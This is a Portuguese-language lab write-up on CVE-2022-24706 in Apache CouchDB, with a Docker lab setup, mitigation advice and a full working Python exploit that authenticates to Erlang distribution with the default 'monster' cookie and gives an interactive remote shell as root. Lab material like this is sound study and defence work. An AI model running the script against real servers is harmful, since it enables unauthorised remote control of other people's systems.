
Exploit de prova de conceito para CVE-2022-24706 visando Apache CouchDB 3.2.1 e anteriores. Demonstra execução remota de comandos através do Protocolo de Distribuição Erlang usando autenticação por cookie padrão.
Colaboradores
Apache CouchDB é um banco de dados NoSQL orientado a documentos, de código aberto, implementado em Erlang.
Como o Apache CouchDB foi desenvolvido em Erlang, ele suporta recursos de computação distribuída (clusterização) nativamente. Os nós do cluster comunicam-se entre si usando o Protocolo de Distribuição Erlang/OTP, através do qual é possível executar comandos do sistema operacional (SO) com os privilégios do usuário que executa o CouchDB.
Para executar comandos do sistema operacional, é necessário conhecer a string de autenticação (Frase Secreta) chamada Cookie no Erlang. Nas versões do CouchDB 3.2.1 e anteriores, o valor padrão do Cookie durante a instalação é definido como monster. Um invasor que conheça esse valor pode passar pela autenticação e executar comandos do sistema operacional remotamente.
Materiais de referência:
Para realizar este laboratório, são necessários os seguintes itens:
Em sistemas macOS baseados em Apple Silicon (M1/M2/M3), podem ser exibidos avisos relacionados à plataforma da imagem. Na maioria dos casos, o Docker Desktop emula automaticamente imagens amd64, portanto nenhuma ação adicional é necessária. Se o contêiner não for executado corretamente, a opção platform: linux/amd64 pode ser adicionada ao serviço couchdb no docker-compose.yml.
Se o Python 3 não estiver instalado, pode ser instalado com o comando abaixo.
sudo apt update
sudo apt install -y python3
Execute o seguinte comando para iniciar um ambiente Apache CouchDB 3.2.1.
docker compose up -d
Quando o serviço estiver em execução, as seguintes 3 portas estarão abertas no target-ip:
Em ambientes reais, a porta da interface web (5984) e a porta do serviço EPMD (4369) são fixas, mas a porta de comunicação do cluster pode mudar a cada execução. Portanto, é possível acessar o serviço EPMD para verificar o número da porta de comunicação do cluster atualmente em uso.
Se o Apache CouchDB estiver em execução corretamente, as informações da versão podem ser verificadas em http://target-ip:5984.

Esta vulnerabilidade ocorre quando as seguintes condições são atendidas:
monster).docker compose up -d
python3 poc.py target-ip 4369
O PoC consulta o serviço EPMD para obter o número da porta de comunicação do cluster atualmente em uso e, em seguida, realiza a autenticação no Protocolo de Distribuição Erlang usando o Cookie padrão (monster).
Após a autenticação bem-sucedida, é possível inserir comandos do sistema operacional desejados e verificar a execução remota de comandos.
#!/usr/local/bin/python3
# Bibliotecas padrão do Python
import socket
from hashlib import md5
import struct
import sys
import re
import time
# Servidor alvo e configurações básicas
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # Porta padrão do EPMD
COOKIE = "monster" # Cookie Erlang padrão do CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Pacote de solicitação de lista de nós Erlang
# Mensagens de autenticação e controle do Erlang
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# Converte o comando inserido pelo usuário em pacote RPC Erlang
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Execução Remota de Comandos via Protocolo de Distribuição Erlang.\n")
# Conecta ao servidor EPMD para obter informações do nó Erlang
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Não foi possível conectar ao EPMD: %s\n encerrando programa" % msg)
sys.exit(1)
# Solicita lista de nós Erlang
epm_socket.send(EPM_NAME_CMD)
# Se a resposta for normal, obtém as informações do nó
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Encontrado " + data[0])
else:
print("\nMais de um nó encontrado, escolha qual usar:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Erro na solicitação de lista de nós, encerrando")
sys.exit(1)
epm_socket.close()
# Conecta ao nó Erlang
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Não foi possível conectar ao servidor Erlang: %s\n encerrando programa" % msg)
sys.exit(1)
# Recebe o valor de desafio
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Gera informações de autenticação usando o valor de desafio
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# Envia solicitação de autenticação
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# Verifica se a autenticação foi bem-sucedida
if len(CHALLENGE_RESPONSE) == 0:
print("Falha na autenticação, encerrando")
sys.exit(1)
print("Autenticação bem-sucedida")
print("Digite o comando:\n")
data_size = 0
# Recebe comandos do usuário e executa no nó CouchDB remoto
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
Como resultado da execução do PoC, a porta de comunicação do cluster é confirmada com sucesso através do serviço EPMD, e a mensagem Authentication successful indica que a autenticação do Protocolo de Distribuição Erlang foi bem-sucedida.
Em seguida, ao executar o comando whoami, confirma-se que o comando é executado com privilégios de root, e o comando id permite verificar informações do usuário e do grupo. Além disso, após criar um arquivo success no diretório /tmp do sistema alvo com o comando touch /tmp/success, o comando ls /tmp confirma que o arquivo foi criado. Isso verifica que os comandos do sistema operacional inseridos foram realmente executados no sistema alvo.

Após concluir o laboratório, execute o seguinte comando para encerrar os contêineres e a rede Docker.
docker compose down
Atualizar para a versão mais recente
Atualizar para Apache CouchDB versão 3.2.2 ou superior para resolver o problema do Cookie Erlang padrão.
Alterar o Cookie Erlang padrão
Não usar o valor padrão do Cookie (monster); alterá-lo para um valor arbitrário difícil de adivinhar para impedir a bypass da autenticação e execução remota de comandos.
Restringir o acesso às portas EPMD e de comunicação do cluster
Aplicar firewall ou políticas de controle de acesso para que as portas EPMD (4369) e de comunicação do cluster sejam acessíveis apenas por hosts confiáveis.
Desativar o recurso de Distribuição Erlang se desnecessário
Em ambientes que não utilizam recursos de cluster, restringir o acesso externo ao recurso de Distribuição Erlang ou aos serviços relacionados para minimizar possibilidades de ataque.